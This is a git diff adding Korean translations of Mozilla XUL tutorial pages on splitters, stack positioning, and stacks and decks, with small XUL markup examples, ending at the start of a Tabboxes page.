diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/splitters/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/splitters/index.html
new file mode 100644
index 0000000000..796b8fcb52
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/splitters/index.html
@@ -0,0 +1,139 @@
+---
+title: Splitters
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Splitters
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Splitters
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Content_Panels" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Scroll_Bars">다음  »</a></p>
+</div><p></p>
+
+<p>이번 단원에서는 splitter를 창에 추가하는 방법에 대해 알아보겠습니다.</p>
+
+<h2 id=".EC.83.81.EC.9E.90_.EB.82.98.EB.88.84.EA.B8.B0" name=".EC.83.81.EC.9E.90_.EB.82.98.EB.88.84.EA.B8.B0">상자 나누기</h2>
+
+<p>하나의 창 안에 사용자가 크기를 변경할 수 있는 2개 영역이 있었으면 할 때가 있습니다. Mozilla 브라우저 창이 이러한 예로, 브라우저 창에서는 메인 영역과 사이드바 패널 프레임 사이에 있는 막대를 드래그 해서 사이드바 패널의 크기를 조정할 수 있습니다. 또한 빗살대(notch)를 클릭해서 사이드바를 숨길 수도 있습니다.</p>
+
+<h3 id="Splitter_.EC.9A.94.EC.86.8C" name="Splitter_.EC.9A.94.EC.86.8C">Splitter 요소</h3>
+
+<p>이러한 기능은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code></code>라는 요소를 사용하여 구현할 수 있습니다. 이 요소는 2개 영역 사이에 좁은 막대를 만들어서 영역의 크기를 변경할 수 있게 해 줍니다. Splitter 요소는 넣고 싶은 곳 아무데서나 사용할 수 있으며, 동일한 상자 내에서 splitter 앞에 오는 요소와 다음에 오는 요소의 크기를 변경할 수 있습니다.</p>
+
+<p>Splitter가 가로상자 내부에 사용되면 가로 방향으로, 세로상자 내부에 사용되면 세로 방향으로 크기를 변경할 수 있게 해 줍니다.</p>
+
+<p>Splitter 구문은 다음과 같습니다:</p>
+
+<pre>&lt;splitter
+    id="identifier"
+    state="open"
+    collapse="before"
+    resizebefore="closest"
+    resizeafter="closest"&gt;
+</pre>
+
+<p>속성은 다음과 같습니다.</p>
+
+<dl>
+ <dt><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></dt>
+ <dd>splitter 유일 식별자.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-state"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/state">state</a></code></dt>
+ <dd>splitter의 상태를 나타냅니다. 기본값은 <code>open</code>으로 이값을 설정하면 기본적으로 열린 상태가 되며, <code>collapsed</code>로 설정하면 패널 중 하나는 닫힌 상태가 되어 다른 쪽이 나머지 공간을 차지하는 상태로 출력됩니다.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-collapse"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/collapse">collapse</a></code></dt>
+ <dd>이 속성은 splitter의 빗살대(또는 그리피(grippy))를 클릭하거나 닫힘 상태로 설정하였을 경우, 패널의 어느 면이 닫히게 될지를 지정합니다. 이 속성값을 <code>before</code>로 설정하면 splitter 앞에 오는 요소가 닫히게 되며, <code>after</code>로 설정하면 splitter 다음에 오는 요소가 닫히게 됩니다. 만일 기본값인 <code>none</code>으로 설정하면, 그리피를 클릭하더라도 패널은 닫히지 않습니다.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-resizebefore"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/resizebefore">resizebefore</a></code></dt>
+ <dd>Splitter를 드래그하면, splitter의 왼쪽(혹은 위쪽)에 있는 요소들은 크기가 변하게 됩니다. 이 속성은 왼쪽(혹은 위쪽)에 있는 요소들 중 어떤 요소의 크기가 변하게 될지를 지정합니다. 이 속성값을 <code>closest</code>로 설정하면 splitter의 바로 왼쪽에 있는 요소의 크기가 변경됩니다. 반면, <code>farthest</code>로 설정하면 splitter의 왼쪽에 있는 요소들 중 가장 멀리있는 요소의 크기를 변경하게 됩니다(상자 내 첫번째 요소). 기본값은 <code>closest</code> 입니다.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-resizeafter"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/resizeafter">resizeafter</a></code></dt>
+ <dd>Splitter를 드래그하면, splitter의 오른쪽(혹은 아래쪽)에 있는 요소들은 크기가 변하게 됩니다. 이 속성은 오른쪽(혹은 아래쪽)에 있는 요소들 중 어떤 요소의 크기가 변하게 될지를 지정합니다. 이 속성값을 <code>closest</code>로 설정하면 splitter의 바로 오른쪽에 있는 요소의 크기가 변경됩니다. 반면, <code>farthest</code>로 설정하면 splitter의 오른쪽에 있는 요소들 중 가장 멀리있는 요소의 크기를 변경하게 됩니다(상자 내 마지막 요소). 이 속성은 <code>grow</code>값을 가질 수도 있는데, 이것은 splitter를 드래그하더라도 오른쪽에 있는 요소들의 크기가 변경되지 않도록 하며, 대신 이들을 포함하는 전체 상자의 크기가 변경됩니다. 기본값은 <code>closest</code>입니다.</dd>
+</dl>
+
+<p>Splitter에 <code><code id="a-collapse"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/collapse">collapse</a></code></code> 속성을 설정하였다면 사용자가 해당 요소를 닫을 수 있도록 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code></code> 요소도 추가해 주는 것이 좋습니다. Firefox 브라우저에서는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code></code> 요소를 지원하지 않습니다. 따라서 해당 요소를 splitter 요소에 넣더라도 출력되지 않으며, splitter를 클릭하더라도 한번에 닫히지 않습니다.</p>
+
+<h3 id="Splitter_.EC.98.88.EC.A0.9C" name="Splitter_.EC.98.88.EC.A0.9C">Splitter 예제</h3>
+
+<p>다음 예제를 보면 도움이 될 것입니다.</p>
+
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_splitter_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_splitter_1.xul">View</a></p>
+
+<pre>&lt;hbox flex="1"&gt;
+  &lt;iframe id="content-1" width="60" height="20" src="w1.html"/&gt;
+  &lt;splitter collapse="before" resizeafter="farthest"&gt;
+    &lt;grippy/&gt;
+  &lt;/splitter&gt;
+  &lt;iframe id="content-2" width="60" height="20" src="w2.html"/&gt;
+  &lt;iframe id="content-3" width="60" height="20" src="w3.html"/&gt;
+  &lt;iframe id="content-4" width="60" height="20" src="w4.html"/&gt;
+&lt;/hbox&gt;
+</pre>
+
+<div class="float-right"><img alt="Image:splitter-ex1.jpg"></div>
+
+<p>예제에서는 4개의 iframe이 생성되어 있으며 splitter는 첫 번째와 두 번째 사이에 위치하고 있습니다. <code><code id="a-collapse"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/collapse">collapse</a></code></code> 속성에는 <code>before</code>값이 설정되어 있으며, 이것은 그리피를 클릭하면 첫 번째 프레임이 사라지고 나머지 프레임들이 왼쪽으로 이동하게 된다는 것을 의미합니다. 그리피는 splitter 내 중앙에 그려집니다.</p>
+
+<p>splitter의 <code><code id="a-resizeafter"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/resizeafter">resizeafter</a></code></code> 속성 값은 <code>farthest</code>로 설정되어 있습니다. 이것은 splitter를 드래그하면 splitter 다음에 위치한(그림에서는 오른쪽) 요소들 중 가장 멀리있는 요소의 크기가 변경된다는 것을 의미합니다. 이 경우 4번 프레임의 크기가 변경됩니다.</p>
+
+<p><code><code id="a-resizebefore"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/resizebefore">resizebefore</a></code></code> 속성의 값은 지정하지 않았기 때문에 기본값인 <code>closest</code>로 지정됩니다. 위의 예제에서는, splitter 앞에 하나의 프레임밖에 없기 때문에, 1번 프레임의 크기가 변하게 됩니다.</p>
+
+<p>2번과 3번 프레임은 4번 프레임이 최소크기가 될 때까지 드래그 한 이후에 크기가 변경됩니다.</p>
+
+<div class="float-right"><img alt="Image:splitter-ex2.jpg"></div>
+
+<p>그림은 splitter가 닫힌 상태인 4개 패널 모습입니다.</p>
+
+<div class="float-right"><img alt="Image:splitter-ex3.jpg"></div>
+
+<p>그림은 splitter가 오른쪽으로 크기를 변경한 상태의 패널 모습입니다. 주목해야할 점은 중간의 2개 패널은 크기가 변하지 않았다는 것입니다. 1번과 4번 패널만 크기가 바뀌었습니다. 4번째 패널을 보면 알 수 있습니다. splitter를 오른쪽으로 계속해서 드래그하면, 다른 2개의 패널이 오그라들게 됩니다.</p>
+
+<p>상자에서의 최소 또는 최대 너비를 지정하기 위해 iframe에 <code>min-width</code>, <code>max-height</code> 같은 스타일 속성을 사용할 수 있습니다. 그럴 경우, splitter가 이를 감지하여 최소와 최대크기를 넘어서 끌기할 수 없게 해 줍니다.</p>
+
+<p>예를 들어, 4번 패널에 최소 넓이를 30픽셀로 지정했다면, 그 이하 크기로 줄지않게 됩니다. 그 외 다른 2개 패널은 줄어들게 될 것입니다. 만약 1번 패널의 최소넓이를 50픽셀로 설정했다면, splitter를 오른쪽으로 10픽셀 드래그 할 수 있을 것입니다(왜냐하면 60픽셀 넓이로 시작했기 때문입니다). 그렇다 하더라도 여전히 splitter를 닫을 수는 있습니다.</p>
+
+<p>원할 경우 상자에 하나 이상의 splitter를 사용할 수도 있는데, 이 경우 splitter의 다른 부분을 닫을 수있습니다. 마찬가지로 iframe 뿐만 아니라 어떠한 요소든 닫을 수 있습니다.</p>
+
+<h2 id=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C" name=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C">우리의 파일 찾기 예제</h2>
+
+<div class="highlight">
+<p>파일 찾기 대화창에 splitter를 사용하였을 경우 어떠한 모양이 될지 알아 봅시다. 한 가지는 대화창에 검색결과를 추가하려는 것입니다. 우리는 검색 조건과 아래의 버튼들 사이에 공간을 추가할 것입니다. 여러분은 splitter를 이용해 검색결과를 닫거나 감출 수 있을 것입니다.</p>
+
+<pre class="eval">&lt;/tabbox&gt;
+
+ <span class="highlightred">&lt;iframe src="results.html"/&gt;
+ &lt;splitter resizeafter="grow"/&gt;</span>
+
+ &lt;hbox&gt;
+</pre>
+
+<p>여기에 보면, splitter와 iframe이 대화창에 추가되었습니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></code> 뒤에 있던 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code></code>는 더 이상 필요없기 때문에 이를 삭제할 수 있습니다. 프레임의 내용은 '&lt;tt&gt;results.html&lt;/tt&gt;'이라는 파일에 포함되어 있습니다. 지금은 이 파일을 만들어서 아무거나 입력을 하시면 됩니다. iframe은 결과 목록을 만드는 방법에 대해 알게되는 <a href="ko/XUL_Tutorial/Trees">시점에</a> 결과 목록으로 대체될 것입니다. 지금은 splitter를 설명하기 위한 목적으로만 사용하는 것입니다.</p>
+
+<p>splitter의 <code>collapse</code> 속성에는 splitter 앞에 오는 요소를 닫는다는 의미의 <code>before</code>값이 설정되어 있으며, 여기서는 iframe이 이에 해당됩니다. 아래 보이는 그림에서처럼 그리피를 클릭하면 iframe이 닫히고 버튼이 위로 움직이게 됩니다.</p>
+
+<p><code>resizeafter</code> 속성에는 <code>grow</code>값이 설정되어 있어 splitter 아래의 요소들은 splitter를 아래로 드래그 하면 아래로 밀려가게 됩니다. 결과적으로 프레임의 내용은 어떠한 방향으로든 커질 수 있는 것입니다. 주의할 점은 창의 크기가 자동으로 변경되지는 않는다는 것입니다. 그리고, 세로상자 안에 splitter가 포함되어 있어, 예제에서는 가로 방향 splitter가 된다는 것을 유념해 보기 바랍니다.</p>
+
+<p>일반 상태:</p>
+
+<p><img alt="Image:splitter1.png"></p>
+
+<p>닫힌 상태:</p>
+
+<p><img alt="Image:splitter2.png"></p>
+
+<p><span id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"><a id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"></a><strong>지금까지의 파일 찾기 예제</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-splitter.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-splitter.xul">View</a></p>
+</div>
+
+<p>다음에는 <a href="ko/XUL_Tutorial/Scroll_Bars">스크롤바</a>를 만드는 방법에 대해 알아보겠습니다.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Content_Panels" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Scroll_Bars">다음  »</a></p>
+</div><p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/stack_positioning/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/stack_positioning/index.html
new file mode 100644
index 0000000000..c237926ae8
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/stack_positioning/index.html
@@ -0,0 +1,35 @@
+---
+title: Stack Positioning
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Stack_Positioning
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Stack_Positioning
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Stacks_and_Decks" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Tabboxes">다음  »</a></p>
+</div><p></p>
+<p>이 단원에서는 스택 내에 있는 요소들의 위치를 지정하는 방법에 대해 알아보겠습니다.</p>
+<h3 id=".EC.8A.A4.ED.83.9D_.EB.82.B4_.EC.9E.90.EC.8B.9D_.EC.9A.94.EC.86.8C.EC.9D.98_.EC.9C.84.EC.B9.98" name=".EC.8A.A4.ED.83.9D_.EB.82.B4_.EC.9E.90.EC.8B.9D_.EC.9A.94.EC.86.8C.EC.9D.98_.EC.9C.84.EC.B9.98">스택 내 자식 요소의 위치</h3>
+<p>일반적으로 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code></code>의 자식 요소는 스택의 크기에 맞추어 늘어납니다. 그러나 여려분은 특정 좌표에 자식 요소를 배치할 수도 있습니다. 예를 들어, 스택에 두개의 자식 버튼이 있다면, 첫번째 버튼은 좌측에서 20픽셀 그리고 상단에서는 50픽셀 떨어진 곳에, 두번째 버튼은 좌측에서 100픽셀 그리고 상단에서 5픽셀 떨어진 곳에 위치시킬 수 있습니다.</p>
+<p>자식 요소의 위치는 요소에 두 가지 속성을 사용해서 지정할 수 있습니다. 가로 위치의 경우 <code>left</code> 속성을 사용하고 세로위치는 <code>top</code>속성을 사용합니다. 스택의 자식에 이들 속성을 사용하지 않으며, 해당 자식들은 stack 크기에 맞쳐 늘어나게 됩니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_bulletins_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_bulletins_1.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:bulletins1.png"></div>
+<pre>&lt;stack&gt;
+  &lt;button label="Goblins" left="5" top="5"/&gt;
+  &lt;button label="Trolls" left="60" top="20"/&gt;
+  &lt;button label="Vampires" left="10" top="60"/&gt;
+&lt;/stack&gt;
+</pre>
+<p>여기서 <code>stack</code>은 3가지 요소를 포함하고 있는데, 각 요소들에 <code>left</code>와 <code>top</code> 속성이 지정되어 있어 그림과 같이 위치하고 있습니다. 예제에서 3가지 자식 요소가 모두 버튼이지만, 요소들이 모두 같은 형식일 필요는 없습니다. 그것은 상자와 다른 스택을 포함해서 어떤 요소든 될 수 있습니다.</p>
+<p><code>stack</code>의 크기는 자식 요소의 위치에 의해 결정됩니다. 즉, 모든 자식 요소가 볼 수 있도록 항상 크기가 조정됩니다. 따라서 <code>left</code> 속성을 400으로 설정했으면, 스택은 해당 요소의 넓이에 400픽셀을 더한 정도의 너비를 가지게 됩니다. <code>width</code>와 <code>max-width</code> 같은 여러 스타일 속성을 사용해서 이 크기를 재정의할 수 있습니다.</p>
+<p>여러분은 스크립트를 사용해서 <code>left</code>와 <code>top</code> 속성 값을 조정할 수 있으며, 요소를 이동하게 만들 수 있습니다. 스택은 절대위치값을 가지는 요소가 위치를 바꿀 때, 다른 요소의 위치에는 영향을 주지 않는다는 장점이 있습니다. 보통 상자에서는 요소의 위치를 옮기면, 다른 요소의 위치가 섞이게 됩니다.</p>
+<p>자식 요소가 겹쳐질 수 있도록 하는 것 역시 가능합니다. 자식 요소들이 그려질 때는, <code>stack</code>에 나타난 순서대로 보이게 됩니다. 즉, <code>stack</code>의 첫 번째 자식이 맨 뒤에 나타나고, 다음 자식 요소는 그 위에 나타나고, 마지막 요소는 최상위에 오게 됩니다. 해당 요소의 순서를 옮기기 위해 DOM 함수를 이용할 수 있습니다.</p>
+<p>마우스 이벤트에 응답하는 경우, 상위에 있는 요소가 해당 이벤트를 먼저 인식하게 됩니다. 이것은 두 개의 버튼이 겹쳐있을 경우, 다른 버튼을 덮고 있는 상위 버튼이 마우스 클릭을 인식하게 된다는 것을 의미합니다.</p>
+<p>다음 섹션에서는 덱과 비슷하지만 고유한 네비게이션 방법을 제공하는 <a href="ko/XUL_Tutorial/Tabboxes">탭박스</a>에 대해 설명하겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Stacks_and_Decks" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Tabboxes">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/stacks_and_decks/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/stacks_and_decks/index.html
new file mode 100644
index 0000000000..76e39325c6
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/stacks_and_decks/index.html
@@ -0,0 +1,61 @@
+---
+title: Stacks and Decks
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Stacks_and_Decks
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Stacks_and_Decks
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Adding_More_Elements" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Stack_Positioning">다음  »</a></p>
+</div><p></p>
+<p>여러분은 여러 요소를 카드를 쌓아 올리듯이 표시해야 할 때가 있을 수도 있습니다. 스택(stack)과 덱(deck) 요소를 이런 용도로 사용하실 수 있습니다.</p>
+<h3 id=".EC.BB.A8.ED.85.8C.EC.9D.B4.EB.84.88.28containers.29" name=".EC.BB.A8.ED.85.8C.EC.9D.B4.EB.84.88.28containers.29">컨테이너(containers)</h3>
+<p>XUL의 모든 상자 요소는 다른 요소를 포함할 수 있는 개체입니다. <a href="ko/XUL_Tutorial/Toolbars">툴바</a>나 <a href="ko/XUL_Tutorial/Tabboxes">탭패널</a>처럼 특수화된 상자도 여러 가지가 있습니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code> 태그는 아무런 특징이 없는 가장 단순한 상자를 만듭니다. 하지만 특수화된 상자들은 일반 상자처럼 내부의 요소들을 <code id="a-배치"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/배치">배치</a></code>하는 것 외에 다른 기능들도 가지고 있습니다.</p>
+<p>실제로 여러 가지 구성 요소들은 다른 요소를 포함할 수 있습니다. 우리는 앞에서 버튼이 다른 요소를 포함하는 것을 살펴 보았습니다. 스크롤바는 여러분이 지정하지 않아도 필요한 요소를 만드는 특수화된 상자입니다. 그리고 막대가 이동하는 것도 스스로 제어합니다.</p>
+<p>앞으로 몇 단원에 걸쳐 다른 요소를 포함하는 요소들에 대해 알아 볼 것입니다. 그들은 모두 특수화된 상자로서 상자의 모든 속성을 사용할 수 있습니다.</p>
+<h3 id=".EC.8A.A4.ED.83.9D.28stack.29" name=".EC.8A.A4.ED.83.9D.28stack.29">스택(stack)</h3>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/Stack" title="Stack">Stack</a></code></code> 요소는 단순한 상자입니다. 일반 상자와 똑같이 작동하지만 자식 요소를 아래에서부터 쌓는 특징을 가지고 있습니다. 첫 번째 자식 요소가 바닥에 표시되고, 두 번째 자식 요소가 그 위에, 그리고 세 번째 자식 요소가 그 위에 표시되는 방식입니다. 쌓아 올릴 수 있는 요소의 수에는 제한이 없습니다.</p>
+<p>스택은 자식 요소가 나란히 표시되는 상자와 달리, 아래에서부터 위로 쌓이기 때문에 <code><code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/orient">orient</a></span></code></code> 속성의 의미가 없습니다. 스택의 크기는 가장 큰 자식 요소에 의해 결정되지만 스택과 그 자식 요소에 <code>width</code>, <code>height</code>, <code>min-width</code> 등의 CSS 속성을 사용할 수도 있습니다.</p>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code></code> 요소는 기존의 요소 위에 상태를 표시하는 개체를 표시하고 싶을 때 사용할 수도 있습니다. 예를 들어, 상태바를 막대와 그 위에 중첩된 라벨로 만들 수도 있습니다.</p>
+<h4 id=".EC.8A.A4.ED.83.9D.EC.9D.84_.EC.9D.B4.EC.9A.A9.ED.95.B4.EC.84.9C_.EA.B7.B8.EB.A6.BC.EC.9E.90_.ED.9A.A8.EA.B3.BC_.EC.A3.BC.EA.B8.B0" name=".EC.8A.A4.ED.83.9D.EC.9D.84_.EC.9D.B4.EC.9A.A9.ED.95.B4.EC.84.9C_.EA.B7.B8.EB.A6.BC.EC.9E.90_.ED.9A.A8.EA.B3.BC_.EC.A3.BC.EA.B8.B0">스택을 이용해서 그림자 효과 주기</h4>
+<p>또한 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code></code>을 사용하여 손쉽게 많은 CSS 속성을 흉내낼 수 있습니다. 아래는 text-shadow 속성과 비슷한 효과를 내는 예제입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_stacks_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_stacks_1.xul">View</a></p>
+<pre>&lt;stack&gt;
+  &lt;description value="Shadowed" style="padding-left: 1px; padding-top: 1px; font-size: 15pt"/&gt;
+  &lt;description value="Shadowed" style="color: red; font-size: 15pt;"/&gt;
+&lt;/stack&gt;
+</pre>
+<div class="float-right">
+ <img alt="Image:stacks1.png"></div>
+<p>두 개의 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code>은 15포인트 크기의 문자열을 생성합니다. 하지만 첫 번째 것은 왼쪽과 위쪽에 여백을 주어 1픽셀씩 오른쪽과 아래쪽으로 밀려나게 하였습니다. 그래서 똑같이 'Shadowed'란 문자열을 표시하지만 두 번째 것과 조금 위치가 다릅니다. 두 번째 <code>description</code> 요소는 빨간색으로 표시되기 때문에 효과를 쉽게 알아 볼 수 있습니다.</p>
+<p>이 방법이 <code>text-shadow</code>보다 좋은 이유는 그림자를 원하는 대로 꾸밀 수 있기 때문입니다. 예를 들어 그림자를 다른 글꼴과 크기로 표시하거나 밑줄을 그을 수도 있습니다. (깜빡이는 효과도 줄 수 있습니다). 게다가 아직까지 Mozilla는 CSS의 text-shadow를 지원하지 않고 있습니다. 단점은 그림자가 차지하는 공간 때문에 스택의 크기가 커진다는 것입니다. 그림자 효과는 사용 불가 버튼을 표시할 때 매우 유용합니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_stacks_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_stacks_2.xul">View</a></p>
+<pre>&lt;stack style="background-color: #C0C0C0"&gt;
+  &lt;description value="Disabled" style="color: white; padding-left: 1px; padding-top: 1px;"/&gt;
+  &lt;description value="Disabled" style="color: grey;"/&gt;
+&lt;/stack&gt;
+</pre>
+<p>이렇게 하면 사용 불가능한 것처럼 보입니다.</p>
+<p>한 가지 주의할 점은 마우스 클릭과 키 누름 같은 이벤트는 가장 위의 요소 즉, 스택의 마지막 요소에만 적용된다는 것입니다. 이는 버튼이 스택의 마지막 요소일때만 제대로 동작한다는 것을 의미합니다.</p>
+<h3 id=".EB.8D.B1.28decks.29" name=".EB.8D.B1.28decks.29">덱(decks)</h3>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/deck" title="deck">deck</a></code></code> 요소는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code></code>처럼 자식 요소들을 쌓아 놓지만 한 번에 하나의 자식 요소만 표시하는 요소입니다. 덱은 유사한 여러 판넬이 순차적으로 표시되는 마법사 인터페이스를 만들 때 유용하게 사용할 수 있습니다. 개별 창을 만들고 각 창에 네비게이션 버튼을 만드는 것보다, 하나의 창에서 내용이 변하는 곳에 덱을 사용하는 것이 보다 편리합니다.</p>
+<p>스택에서처럼 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/deck" title="deck">deck</a></code></code>의 바로 아래 자식 요소들은 덱의 한 쪽(page)이 됩니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/deck" title="deck">deck</a></code></code>의 자식 요소가 세 개라면 덱은 세 쪽을 갖고 있는 셈입니다. 화면에 나타나는 쪽은 <code><code id="a-selectedIndex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/selectedIndex">selectedIndex</a></code></code> 속성을 이용하여 조절할 수 있습니다. 인덱스는 표시하고 싶은 쪽에 해당하는 번호입니다. 쪽의 번호는 0부터 시작하기 때문에 덱의 첫 번째 자녀 요소는 0, 두 번째는 1의 순서가 됩니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_stacks_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_stacks_3.xul">View</a></p>
+<pre>&lt;deck selectedIndex="2"&gt;
+  &lt;description value="This is the first page"/&gt;
+  &lt;button label="This is the second page"/&gt;
+  &lt;box&gt;
+    &lt;description value="This is the third page"/&gt;
+    &lt;button label="This is also the third page"/&gt;
+  &lt;/box&gt;
+&lt;/deck&gt;
+</pre>
+<p>예제에는 세 쪽이 있는데 기본적으로 표시되는 것은 세 번째 쪽입니다. 세 번째 쪽은 두 개의 요소를 포함하는 상자입니다. 상자와 그 안의 요소들이 쪽을 구성합니다. 덱의 크기는 가장 큰 자식 요소의 크기와 같기 때문에 여기서는 세 번째 자식 요소의 크기가 덱의 크기가 됩니다.</p>
+<p>여러분은 스크립트를 사용하여 <code><code id="a-selectedIndex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/selectedIndex">selectedIndex</a></code></code>의 값을 변경하면 표시되는 쪽을 바꿀 수 있습니다. 이에 대해서는 이벤트와 DOM에 대한 단원에서 좀더 알아 보도록 하겠습니다.</p>
+<p>다음 섹션에서는 <a href="ko/XUL_Tutorial/Stack_Positioning">자식 요소의 위치를 지장하기 위해</a> 어떻게 스택을 사용할 수 있는지에 대해 설명하겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Adding_More_Elements" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Stack_Positioning">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/tabboxes/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/tabboxes/index.html
new file mode 100644
index 0000000000..74de7d0cb8
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/tabboxes/index.html
@@ -0,0 +1,159 @@
+---
+title: Tabboxes
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Tabboxes
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Tabboxes
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Stack_Positioning" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Grids">다음  »</a></p>
+</div><p></p>
+
